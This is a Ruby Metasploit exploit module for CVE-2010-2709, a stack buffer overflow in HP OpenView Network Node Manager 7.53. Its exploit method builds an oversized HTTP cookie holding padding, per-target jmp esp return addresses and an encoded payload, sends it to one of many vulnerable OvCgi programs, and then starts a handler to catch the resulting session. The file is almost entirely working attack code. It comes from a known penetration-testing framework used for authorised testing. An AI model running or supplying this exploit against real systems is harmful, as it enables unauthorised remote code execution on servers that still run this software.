165 lines
5.2 KiB
Ruby
165 lines
5.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/OpenView.exe', :pattern => /Hewlett-Packard Development Company/ }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
|
|
By sending a request containing a cookie longer than 5120 bytes, an attacker can overflow
|
|
a stack buffer and execute arbitrary code.
|
|
|
|
The vulnerable code is within the OvWwwDebug function. The static-sized stack buffer is
|
|
declared within this function. When the vulnerability is triggered, the stack trace looks
|
|
like the following:
|
|
|
|
#0 ...
|
|
#1 sprintf_new(local_stack_buf, fmt, cookie);
|
|
#2 OvWwwDebug(" HTTP_COOKIE=%s\n", cookie);
|
|
#3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x);
|
|
#4 sub_405ee0("nnm", "webappmon");
|
|
|
|
No validation is done on the cookie argument. There are no stack cookies, so exploitation
|
|
is easily achieved by overwriting the saved return address or SEH frame.
|
|
|
|
The original advisory detailed an attack vector using the "OvJavaLocale" cookie being
|
|
passed in a request to "webappmon.exe". Further research shows that several different
|
|
cookie values, as well as several different CGI applications, can be used.
|
|
'},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Nahuel Riva',
|
|
'sinn3r',
|
|
'jduck'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2010-2709' ],
|
|
[ 'OSVDB', '66932' ],
|
|
[ 'BID', '42154' ],
|
|
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02446520' ],
|
|
[ 'URL', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024, # 5120 buffer?
|
|
'BadChars' => (0..0x1f).to_a.pack('C*'),
|
|
'DisableNops' => true,
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
'EncoderOptions' =>
|
|
{
|
|
'BufferRegister' => 'ESP'
|
|
},
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "seh",
|
|
"InitialAutoRunScript" => "post/windows/manage/priv_migrate",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'HP OpenView Network Node Manager 7.53',
|
|
{
|
|
'Ret' => 0x5a212a4a # jmp esp in ov.dll (2004-10-05, 294,967 bytes)
|
|
}
|
|
],
|
|
[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
|
|
{
|
|
'Ret' => 0x71c02b67 # push esp / ret in ws2_32.dll v5.2.3790.3959
|
|
}
|
|
],
|
|
[ 'Debug Target',
|
|
{
|
|
#'Ret' => 0x5a30575b # int3 in ovwww.dll (2007-09-18, 106,558 bytes)
|
|
'Ret' => 0x71c0782c # int3 in ws2_32.dll v5.2.3790.3959
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Aug 3 2010"))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('COOKIE', [ false, "The Cookie name to use", nil ]),
|
|
OptString.new('CGI', [ false, "The CGI to use", nil ])
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
cookies = %w{
|
|
OvJavaScript OvTitleFrame OvHelpWindow OvMap OvSession OvJavaLocale
|
|
OvOSLocale OvLogin OvDebug OvDeveloper OvTreeControl OvJavaScript OvProduct
|
|
OvPort OvLocale OvWebSession
|
|
}
|
|
# This triggers a heap overflow - OvAcceptLang ;-)
|
|
cookie = datastore['COOKIE'].dup if datastore['COOKIE']
|
|
cookie ||= cookies[rand(cookies.length)]
|
|
|
|
cgis = %w{
|
|
Main/Snmp.exe getcvdata.exe getnnmdata.exe jovw.exe jovwreg.exe
|
|
nnmRptConfig.exe nnmRptPresenter.exe OpenView5.exe OpenView.exe ovalarm.exe
|
|
ovlaunch.exe ovlaunchreg.exe ovlogin.exe ovsessioninfo.exe ovsipexport.exe
|
|
OvHelp.exe OvWebHelp.exe printsession.exe snmpviewer.exe Title.exe
|
|
Toolbar.exe webappmon.exe
|
|
}
|
|
# These don't work: jovgraph.exe
|
|
cgi = datastore['CGI'].dup if datastore['CGI']
|
|
cgi ||= cgis[rand(cgis.length)]
|
|
if cgi[0,7] != '/OvCgi/'
|
|
cgi = '/OvCgi/' + cgi
|
|
end
|
|
|
|
print_status("Using cookie: #{cookie} and cgi: #{cgi}")
|
|
|
|
cookie << "="
|
|
|
|
# sprintf_new(buf, " HTTP_COOKIE=%s", bigstr);
|
|
start = ' HTTP_COOKIE='
|
|
start << cookie
|
|
|
|
# Offsets from the start of the buffer:
|
|
# ebp @ 5120
|
|
# ret @ 5124
|
|
# seh @ 7044
|
|
|
|
buf = rand_text_alphanumeric(5124 - start.length)
|
|
buf << [target.ret].pack('V')
|
|
#buf << "\xcc"
|
|
buf << payload.encoded
|
|
|
|
cookie << buf
|
|
cookie << ";"
|
|
|
|
res = send_request_cgi({
|
|
'uri' => cgi,
|
|
'method' => "GET",
|
|
'headers' =>
|
|
{
|
|
'Cookie' => cookie
|
|
}
|
|
}, 3)
|
|
|
|
if res and res.code != 502
|
|
print_error("Eek! We weren't expecting a response, but we got one")
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
end
|